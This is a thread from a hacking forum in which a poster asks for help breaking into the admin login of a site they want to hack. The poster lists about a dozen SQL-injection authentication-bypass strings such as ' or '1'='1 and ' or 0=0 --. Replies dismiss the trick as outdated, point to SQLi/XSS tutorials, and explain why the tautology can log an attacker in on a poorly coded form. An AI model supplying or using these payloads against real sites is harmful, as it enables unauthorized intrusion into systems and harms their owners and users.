Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Fellow HF i need your attention here ? URGENT

Hello House i usa a link trick and i have gotten the admin page to the site i want to hack also i have tried all the possible admin user and password but i could not log in plz i need suggestion plz, below is example of the site

http://www.mysite.com/admin/index.php

i have tried the below code to log into the admin but its not going through

' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #
" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x
I'm gonna hazard a guess and say you completed that HackThisSite level where you do some crappy sqli. Well, here's the truth:

It doesn't work like that.

Sorry.
That "hack" is so outdated. Learn SQLi/XSS instead. Well it's also SQLi, but a bad method, check out Team INTRAS mega thread, or Phizo's tutuorial.
If he is hashing the passwords then sql injection through admin login wont work...
(Apr 16, 2012 07:31 AM)Helios. Wrote:  If he is hashing the passwords then sql injection through admin login wont work...

Yes it would -.-'

' or '1'='1 more or less means password='' or 1=1 (which is true)

If it's a terribly coded login form then the 1=1 will make you login since the statement is true.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Mr KakeJan 4, 2017 11:46 AM 10 1,183 Jan 4, 2017 11:46 AM
Last Post: egyy
by menospySep 25, 2012 02:20 PM 0 101 Sep 25, 2012 02:20 PM
Last Post: menospy
by Some SkidSep 24, 2012 04:37 AM 0 63 Sep 24, 2012 04:37 AM
Last Post: Some Skid